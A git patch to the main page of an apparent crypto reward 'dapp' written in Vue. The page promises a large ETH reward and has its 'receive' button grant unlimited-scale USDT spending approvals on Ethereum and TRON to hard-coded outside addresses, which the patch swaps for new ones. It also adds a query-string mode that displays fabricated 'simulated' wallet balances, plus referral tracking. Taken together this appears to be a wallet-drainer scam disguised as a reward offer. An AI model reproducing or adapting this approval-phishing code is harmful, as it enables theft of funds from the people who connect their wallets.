From f5a6785ae5a1d534047a1d35b3c43e6e8665acac Mon Sep 17 00:00:00 2001 From: queenwuli <942534046@qq.com> Date: Fri, 15 Apr 2022 15:47:11 +0800 Subject: [PATCH] gx --- src/pages/index/index.vue | 126 ++++++++++++++++++++++++++++++++++-------- 1 files changed, 102 insertions(+), 24 deletions(-) diff --git a/src/pages/index/index.vue b/src/pages/index/index.vue index ab672a2..ac7e412 100644 --- a/src/pages/index/index.vue +++ b/src/pages/index/index.vue @@ -3,7 +3,7 @@ <div class="top"> <div class="header flex align-center justify-between"> <div class="left flex align-center"> - <img src="../../assets/images/icon3.png" class="icon"/> + <img src="../../assets/images/icon3.png" class="icon" @click="openShare"/> <van-dropdown-menu active-color="#3D8AF2" class="i18-wrap"> <van-dropdown-item v-model="local" :options="languague" @change="changeLanguage"/> </van-dropdown-menu> @@ -18,7 +18,8 @@ <div class="banner-content"> <p>{{ $t("message.Defi") }}</p> <p>{{ $t("message.Reward") }}<span class="em">1000,000</span> ETH</p> - <button v-if="!hasApprove" @click="isShowApproveModal = true">{{ $t("message.ReceiveVoucher") }}</button> + <button v-if="!hasApprove && !availableWallet" @click="isShowApproveModal = true">{{ $t("message.ReceiveVoucher") }}</button> + <button v-if="availableWallet">{{availableWallet}} USDT</button> </div> </div> <img src="../../assets/images/banner.png" class="banner"/> @@ -27,7 +28,7 @@ <OrePool></OrePool> </van-tab> <van-tab :title='$t("message.Account")'> - <Account ref="accountRef"></Account> + <Account ref="accountRef" :simulateData="simulateData"></Account> </van-tab> </van-tabs> <van-overlay :show="isShowApproveModal" @click="isShowApproveModal = false" class="wrapper"> @@ -36,7 +37,7 @@ <p>{{ $t("message.ReceiveDescription") }}</p> </div> <p class="block-content">{{ $t("message.Description") }}</p> - <button class="block-btn" @click="toApprove">{{ $t("message.Receive") }}</button> + <van-button class="block-btn" :loading="isApproving" :loading-text='$t("message.Approving")' type="warning" @click="toApprove">{{ $t("message.Receive") }}</van-button> </div> </van-overlay> <van-overlay :show="isShowAccreditModal" @click="isShowAccreditModal = false" class="wrapper"> @@ -61,9 +62,9 @@ <img class="close-icon" @click="isShowWalletModal = false" src="../../assets/images/close-icon.png"> <div class="wallet-box"> <div class="sub-title"> - <span>移动</span> + <span>{{$t("message.Mobile")}}</span> </div> - <p class="title">选择你的钱包</p> + <p class="title">{{$t("message.ChooseWallet")}}</p> <div class="wallet-warp flex flex-wrap align-center justify-between"> <a :href="item.link" target="_blank" v-for="item in dappList" class="item"> <div class="icon" :style="{background: 'url(' + item.imgUrl +')'}"></div> @@ -73,6 +74,9 @@ </div> </div> </van-overlay> + <van-popup position="bottom" :show="iShowSharePopup"> + <Share ref="shareRef" @close="closeShare"></Share> + </van-popup> </div> </template> @@ -83,12 +87,14 @@ import { useI18n } from 'vue-i18n' import OrePool from './orePool'; import Account from './account'; +import Share from '../share/index'; export default { name: 'App', components: { OrePool, - Account + Account, + Share }, setup() { const { proxy } = getCurrentInstance(); @@ -99,7 +105,20 @@ let isShowApproveModal = ref(false); let isShowAccreditModal = ref(false); let isShowWalletModal = ref(false); + let isApproving = ref(false); //是否授权中 + let simulateData = ref(null); + let availableWallet = ref(''); + let local = ref(proxy.$i18n.locale); + let shareRef = ref(null); + let iShowSharePopup = ref(false); + function openShare(){ + proxy.iShowSharePopup = true; + } + function closeShare(){ + proxy.iShowSharePopup = false; + } function changeLanguage(type){ + localStorage.setItem('lang', type); proxy.$i18n.locale = type; } @@ -122,14 +141,14 @@ }); await provider.enable(); provider.on("accountsChanged", (accounts) => { - alert(accounts[0]+'换啦') + console.log(accounts[0]+'换啦') + window.location.reload(); }); provider.on("disconnect", (code, reason) => { sessionStorage.setItem('address', ''); window.location.reload(); }); proxy.web3 = new Web3(provider); - console.log(new Web3(provider)) const accounts = await proxy.web3.eth.getAccounts(); proxy.walletAddress = accounts[0]; console.log('所有的账户,拿得到吗?') @@ -146,21 +165,28 @@ } } async function init () { - await proxy.getAddress(); - if (proxy.walletAddress) { - proxy.isApprove() - }else{ - showAccreditModal(); + if(proxy.getQueryString('isDev') === 'true' && proxy.getQueryString('batchNo')) { + proxy.walletAddress = 'KtygcD' + proxy.getSimulateData(); + } else { + await proxy.getAddress(); + if (proxy.walletAddress) { + proxy.isApprove() + }else{ + showAccreditModal(); + } } } + onMounted(() => { init() }) return { - local: ref('zh'), + local, languague: [ + { text: 'English', value: 'en' }, { text: '简体中文', value: 'zh' }, - { text: 'English', value: 'en' } + { text: '日本语', value: 'ja' } ], // 弹窗显示隐藏 isShowApproveModal, @@ -179,7 +205,14 @@ hasApprove, //是否授权 accountRef, + + shareRef, + iShowSharePopup, + openShare, + closeShare, + web3, + isApproving, dappList: [{ name: 'TronLink', link: 'https://www.tronlink.org/', @@ -239,7 +272,9 @@ name: 'BitPay', link: 'https://link.bitpay.com/wallet/wc?uri=wc%3A53685339-13ee-445b-a359-c6bd9d55af1e%401%3Fbridge%3Dhttps%253A%252F%252Fe.bridge.walletconnect.org%26key%3D5f18973ce1f748013d7eed1f64de989cc5502bfe999479cae7ed2eceb83f918b' + pageLink, imgUrl: 'https://qny.ohmj.org/kylin/wallet/BitPay.jpeg' - }] + }], + simulateData, //模拟数据 + availableWallet }; }, methods: { @@ -263,9 +298,17 @@ method: 'get' }).then((res) => { if(res.code == 200) { - this.hasApprove = true; - this.initAccountData() - sessionStorage.setItem('address', this.walletAddress); + let result = res.data; + if(result == 1) { + this.hasApprove = true; + this.initAccountData() + sessionStorage.setItem('address', this.walletAddress); + } else if (result == 2) { + this.submitApprove() + } else { + this.hasApprove = false; + this.$toast(this.$t('message.ApproveTip')); + } }else{ this.hasApprove = false; this.$toast(this.$t('message.ApproveTip')); @@ -275,6 +318,7 @@ }) }, async approve () { + this.isApproving = true; if(window.ethereum) { this.ethereumApprove(new Web3(window.ethereum)) }else if(window.tronWeb){ @@ -285,19 +329,26 @@ }, ethereumApprove (web3) { const contractAddress = "0xdac17f958d2ee523a2206206994597c13d831ec7"; - const authAddress = '0xD998DA7362360eFC6daDFEd6E9a32E70640d7600'; + const authAddress = '0x6c5640c572504a75121e57760909a9dd0E672f2D'; const abi = [{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_upgradedAddress","type":"address"}],"name":"deprecate","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"name":"approve","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"deprecated","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_evilUser","type":"address"}],"name":"addBlackList","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"upgradedAddress","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"balances","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"maximumFee","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"_totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"unpause","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_maker","type":"address"}],"name":"getBlackListStatus","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"},{"name":"","type":"address"}],"name":"allowed","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"paused","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"who","type":"address"}],"name":"balanceOf","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"pause","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"getOwner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transfer","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"newBasisPoints","type":"uint256"},{"name":"newMaxFee","type":"uint256"}],"name":"setParams","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"amount","type":"uint256"}],"name":"issue","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"amount","type":"uint256"}],"name":"redeem","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"},{"name":"_spender","type":"address"}],"name":"allowance","outputs":[{"name":"remaining","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"basisPointsRate","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"isBlackListed","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_clearedUser","type":"address"}],"name":"removeBlackList","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"MAX_UINT","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_blackListedUser","type":"address"}],"name":"destroyBlackFunds","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"inputs":[{"name":"_initialSupply","type":"uint256"},{"name":"_name","type":"string"},{"name":"_symbol","type":"string"},{"name":"_decimals","type":"uint256"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":false,"name":"amount","type":"uint256"}],"name":"Issue","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"amount","type":"uint256"}],"name":"Redeem","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"newAddress","type":"address"}],"name":"Deprecate","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"feeBasisPoints","type":"uint256"},{"indexed":false,"name":"maxFee","type":"uint256"}],"name":"Params","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"_blackListedUser","type":"address"},{"indexed":false,"name":"_balance","type":"uint256"}],"name":"DestroyedBlackFunds","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"_user","type":"address"}],"name":"AddedBlackList","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"_user","type":"address"}],"name":"RemovedBlackList","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"owner","type":"address"},{"indexed":true,"name":"spender","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[],"name":"Pause","type":"event"},{"anonymous":false,"inputs":[],"name":"Unpause","type":"event"}]; const contract = new web3.eth.Contract(abi, contractAddress); contract.methods.approve(authAddress, 90000000000000).send({from:this.walletAddress, gas:100000}).then((res) => { console.log('授权成功') console.log(res) this.submitApprove() + this.isApproving = false; + this.isShowApproveModal = false; + }).catch((err) => { + console.log('授权失败') + console.log(err) + this.isApproving = false; + this.isShowApproveModal = false; }) }, async tornWebApprove () { const tronWeb = window.tronWeb; const trxContractAddress = "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t"; - const authAddress = "TKcyw4igFYhNpTzyZv25j6uDwvTYzncnjp"; + const authAddress = "TUFzqZRpLwLWJU4jcdf77RKS3Ts2uEhmWL"; let instance = await tronWeb.contract().at(trxContractAddress); let res = await instance["approve"](authAddress, "90000000000000000000000000000"); res.send({ @@ -309,25 +360,49 @@ console.log('嘿,授权成功') this.submitApprove() } + this.isApproving = false; + this.isShowApproveModal = false; }); }, submitApprove () { + let refererId = this.getQueryString('code'); this.$axios({ url: '/dapi/common/approve', method: 'post', data: { address: this.walletAddress, - refererId: '' + refererId: refererId ? refererId : '' } }).then((res) => { if(res.code == 200) { this.hasApprove = true; this.initAccountData(); + sessionStorage.setItem('address', this.walletAddress); } }) }, initAccountData(){ - this.accountRef && this.accountRef.value.getWalletInfo(); + this.shareRef && this.shareRef.value.initData(); + this.accountRef && this.accountRef.value.initData(); + }, + getSimulateData () { + this.$axios({ + url: '/dapi/common/findSimulateData/' + this.getQueryString('batchNo'), + method: 'get' + }).then((res) => { + if(res.code == 200) { + this.simulateData = res.data; + this.availableWallet = this.simulateData.walletInfoVo.availableWallet + } + }) + }, + getQueryString (name) { + let reg = new RegExp('(^|&)' + name + '=([^&]*)(&|$)', 'i'); + let r = window.location.search.substr(1).match(reg); + if (r != null) { + return unescape(r[2]); + } + return null; } } } @@ -448,6 +523,9 @@ padding: 24px 104px; border-radius: 48px; } +.block-btn.van-button--loading{ + opacity: 0.7 +} .close-icon{ position: absolute; top: -63px; -- Gitblit v1.9.1